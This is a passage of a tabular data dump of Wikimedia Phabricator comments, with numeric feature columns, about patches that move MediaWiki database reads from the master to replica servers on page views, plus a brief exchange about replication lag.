",,,1439949808,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.310344827586207,0.8620689655172413,"Change 205528 had a related patch set uploaded (by Aaron Schulz):
Made CentralAuthUser::loadState() generally use DB slaves

[[GERRIT_URL]]
"
482299,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"* https://gerrit.wikimedia.org/r/220950 (branch master): #mw1.26, #mw1.26wmf12
",,,1435302023,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,0.9166666666666666,"* GERRIT_URL (branch master): #mw1.26, #mw1.26wmf12
"
482287,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 220950 merged by jenkins-bot:
Made User::loadFromId() use READ_NORMAL by default

[[https://gerrit.wikimedia.org/r/220950]]",,,1435299685,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.086956521739131,0.8695652173913043,"Change 220950 merged by jenkins-bot:
Made User::loadFromId() use READ_NORMAL by default

[[GERRIT_URL]]"
481948,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 220950 had a related patch set uploaded (by Aaron Schulz):
Made User::loadFromId() use READ_NORMAL by default

[[https://gerrit.wikimedia.org/r/220950]]
",,,1435262626,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.068965517241379,0.8275862068965517,"Change 220950 had a related patch set uploaded (by Aaron Schulz):
Made User::loadFromId() use READ_NORMAL by default

[[GERRIT_URL]]
"
476091,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"* https://gerrit.wikimedia.org/r/200325 (branch master): #mw1.26, #mw1.26wmf10
",,,1434502862,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,0.9166666666666666,"* GERRIT_URL (branch master): #mw1.26, #mw1.26wmf10
"
475961,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200325 merged by jenkins-bot:
Made User generally use DB_SLAVE by default

[[https://gerrit.wikimedia.org/r/200325]]",,,1434489465,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.909090909090909,0.8636363636363636,"Change 200325 merged by jenkins-bot:
Made User generally use DB_SLAVE by default

[[GERRIT_URL]]"
474884,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 218099 merged by jenkins-bot:
Replace prior fix for view-time master manipulation in transcodes

[[https://gerrit.wikimedia.org/r/218099]]",,,1434391725,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.076923076923077,0.8846153846153846,"Change 218099 merged by jenkins-bot:
Replace prior fix for view-time master manipulation in transcodes

[[GERRIT_URL]]"
474187,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 218099 had a related patch set uploaded (by Brion VIBBER):
Replace prior fix for view-time master manipulation in transcodes

[[https://gerrit.wikimedia.org/r/218099]]
",,,1434228292,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,4.0625,0.90625,"Change 218099 had a related patch set uploaded (by Brion VIBBER):
Replace prior fix for view-time master manipulation in transcodes

[[GERRIT_URL]]
"
462563,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 211999 merged by jenkins-bot:
Moved ActiveUsers updates to recent changes jobs

[[https://gerrit.wikimedia.org/r/211999]]",,,1432390158,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.136363636363637,0.9090909090909091,"Change 211999 merged by jenkins-bot:
Moved ActiveUsers updates to recent changes jobs

[[GERRIT_URL]]"
460813,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 211999 had a related patch set uploaded (by Gilles):
Moved ActiveUsers updates to recent changes jobs

[[https://gerrit.wikimedia.org/r/211999]]
",,,1432048579,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.074074074074074,0.8888888888888888,"Change 211999 had a related patch set uploaded (by Gilles):
Moved ActiveUsers updates to recent changes jobs

[[GERRIT_URL]]
"
447902,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202929 merged by jenkins-bot:
Moved ActiveUsers updates to recent changes jobs

[[https://gerrit.wikimedia.org/r/202929]]",,,1429733967,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-11,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.136363636363637,0.9090909090909091,"Change 202929 merged by jenkins-bot:
Moved ActiveUsers updates to recent changes jobs

[[GERRIT_URL]]"
446535,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 203208 merged by jenkins-bot:
Removed DB updates in updateJobQueue

[[https://gerrit.wikimedia.org/r/203208]]",,,1429557557,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.05,0.9,"Change 203208 merged by jenkins-bot:
Removed DB updates in updateJobQueue

[[GERRIT_URL]]"
444696,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200325 had a related patch set uploaded (by Aaron Schulz):
[WIP] Made User generally use DB_SLAVE by default

[[https://gerrit.wikimedia.org/r/200325]]
",,,1429202558,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-11,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,3.7096774193548385,0.8064516129032258,"Change 200325 had a related patch set uploaded (by Aaron Schulz):
[WIP] Made User generally use DB_SLAVE by default

[[GERRIT_URL]]
"
443889,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 203486 merged by jenkins-bot:
Avoid doing DB link updates on page view

[[https://gerrit.wikimedia.org/r/203486]]",,,1429059035,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,3.5652173913043477,0.9130434782608695,"Change 203486 merged by jenkins-bot:
Avoid doing DB link updates on page view

[[GERRIT_URL]]"
443215,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 203432 merged by jenkins-bot:
Avoid constant master ipblocks queries on page views

[[https://gerrit.wikimedia.org/r/203432]]",,,1428966253,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.086956521739131,0.9130434782608695,"Change 203432 merged by jenkins-bot:
Avoid constant master ipblocks queries on page views

[[GERRIT_URL]]"
442263,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 203486 had a related patch set uploaded (by Aaron Schulz):
Avoid doing DB link updates on page view

[[https://gerrit.wikimedia.org/r/203486]]
",,,1428707652,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.6551724137931036,0.896551724137931,"Change 203486 had a related patch set uploaded (by Aaron Schulz):
Avoid doing DB link updates on page view

[[GERRIT_URL]]
"
442143,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 203432 had a related patch set uploaded (by Aaron Schulz):
Avoid constant master ipblocks queries on page views

[[https://gerrit.wikimedia.org/r/203432]]
",,,1428695377,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.068965517241379,0.896551724137931,"Change 203432 had a related patch set uploaded (by Aaron Schulz):
Avoid constant master ipblocks queries on page views

[[GERRIT_URL]]
"
441408,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 203208 had a related patch set uploaded (by Aaron Schulz):
Removed DB updates in updateJobQueue

[[https://gerrit.wikimedia.org/r/203208]]
",,,1428608467,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.038461538461538,0.8846153846153846,"Change 203208 had a related patch set uploaded (by Aaron Schulz):
Removed DB updates in updateJobQueue

[[GERRIT_URL]]
"
440630,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202929 had a related patch set uploaded (by Aaron Schulz):
Moved ActiveUsers updates to recent changes jobs

[[https://gerrit.wikimedia.org/r/202929]]
",,,1428531126,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.107142857142857,0.8928571428571429,"Change 202929 had a related patch set uploaded (by Aaron Schulz):
Moved ActiveUsers updates to recent changes jobs

[[GERRIT_URL]]
"
440028,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,">>! In T92357#1185010, @Gilles wrote:
> Not to mention, master reads are taxing on performance across the board. And with DC stickiness after making a change, you'll be hitting a local slave after modifying something like your watchlist, which means the likelihood of seeing stale data will be very small. @aaron do we have stats about what the replication delay is like currently?

https://tendril.wikimedia.org/host/view/db1072.eqiad.wmnet/3306 (and the other slaves have links to the graphs from https://dbtree.wikimedia.org/ ). The seconds_mehind_master graph measures log event application lag. The other factor to lag is log relaying (basically the network speed, so ~35ms for dallas <=> eqiad ).",,,1428448585,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,12.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,3.980769230769231,0.75,"QUOTE
QUOTE

URL (and the other slaves have links to the graphs from URL ). The seconds_mehind_master graph measures log event application lag. The other factor to lag is log relaying (basically the network speed, so ~35ms for dallas <=> eqiad )."
439494,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202272 merged by jenkins-bot:
Avoid calling purgeExpiredConfigurations() on page views

[[https://gerrit.wikimedia.org/r/202272]]",,,1428399000,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,4.3478260869565215,0.9130434782608695,"Change 202272 merged by jenkins-bot:
Avoid calling purgeExpiredConfigurations() on page views

[[GERRIT_URL]]"
439493,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202282 merged by jenkins-bot:
Made replaceSectionContent try to use DB_SLAVE

[[https://gerrit.wikimedia.org/r/202282]]",,,1428398996,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.285714285714286,0.9047619047619048,"Change 202282 merged by jenkins-bot:
Made replaceSectionContent try to use DB_SLAVE

[[GERRIT_URL]]"
439487,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Not to mention, master reads are taxing on performance across the board. And with DC stickiness after making a change, you'll be hitting a local slave after modifying something like your watchlist, which means the likelihood of seeing stale data will be very small. @aaron do we have stats about what the replication delay is like currently?",,,1428398009,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,0.0,2.0,2.0,0.0,2.0,5.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,6.0,3.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,6.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,16.0,2.0,2.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,8.0,0.0,0.0,2.0,4.53125,0.859375,"Not to mention, master reads are taxing on performance across the board. And with DC stickiness after making a change, you'll be hitting a local slave after modifying something like your watchlist, which means the likelihood of seeing stale data will be very small.SCREEN_NAME do we have stats about what the replication delay is like currently?"
439476,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202257 merged by jenkins-bot:
Avoid master queries on SpecialBlockList

